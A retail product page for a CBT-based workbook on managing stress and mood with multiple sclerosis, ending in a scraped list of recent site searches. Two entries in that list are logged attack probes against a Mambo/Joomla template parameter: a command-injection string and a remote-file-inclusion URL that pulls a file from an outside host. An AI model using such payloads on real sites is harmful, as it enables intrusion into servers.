Read Customer Reviews (53 reviews)
Our Price: $28.80
Retail Price: $35.42
The Stress and Mood Management Program for Individuals With Multiple Sclerosis (Paperback)
Multiple Sclerosis presents not only physical challenges, but emotional challenges as well. Many people with MS suffer from depression, anxiety and stress. Problems with mood and stress can interfere with your relationships with others, reduce your ability to meet your obligations at work and at home, and substantially worsen your overall quality of life. If you have MS and are experiencing problems with mood and stress, this workbook can help. The stress and mood management program described in this book is backed by research and has proven effective in clinical trials. Based on the principles of cognitive-behavioral therapy (CBT), one of the most effective therapeutic techniques available for combating depression and anxiety, this program can help you manage stress and improve your well-being. In Part I of the program, you will learn skills for identifying and challenging your unhelpful thoughts, as well as how to motivate yourself to reengage in pleasant activities. In Part II, you will choose those treatment modules that apply to you and your specific MS-related problems. Choices include modules on managing symptoms like fatigue, pain, and cognitive problems, and improving communication and assertiveness skills, among others. If you take injectable medications and have a fear of injecting yourself, the module on self-injection anxiety will also prove useful. Complete with user-friendly forms and worksheets, this workbook provides all the materials you need to supplement treatment with a qualified mental health professional. If you are a highly motivated individual, you may have success using this book on your own. Whatever the setting, the stress and mood management program will give you the tools to handle the stresses of your disease and improve the overall quality of your life. ... Read More »
Recent User Searches:Alicia Keys Lesson Learned Sheet Music Free,
Cardinal 61218 Onestep Index System Template,
Bravo View 9.2 Replacement Headrest Dvd System Reviews /index.php?option=com_template&view=|echo "casper";echo "kae";|,
Bravo View 9.2 Replacement Headrest Dvd System Reviews /index.php?option=com_template&view=http://injek.at.ua/e107id1.txt??,
Paper Frills 8-spool Primary Assortment,
Undefined,
Free One Step Index System Template,
Internet World Wide Web How To Program, 4th Edition Free Download,
Link:cliftonwebdesign.co.uk,
Index Template 1-10,
What Do Mambo Websites Look Like,
Free Mambo Template,
Zelda Stainless Cufflinks,
1-10 Index Divider Template Free,
Bravo View 9.2 Replacement Headrest Dvd System Reviews,
Free Mambo Templates,
Cardinal Onestep Index System Template,
Bravo View 9.2" Replacement Headrest Dvd System, Black,
One Step Index System Template,
Mambo Components,
Mambod Steam Engins,
Lessons Learned Sheet Music Alicia Keys,
Road View Replacement Dvd Headrests,
Social Network For Mambo?,
Tavelon Luggage Animal Print,
Onestep Index System Monthly Template,
Chrome Trucker Lady,
Free Mambo Music Downloads
(196 votes)
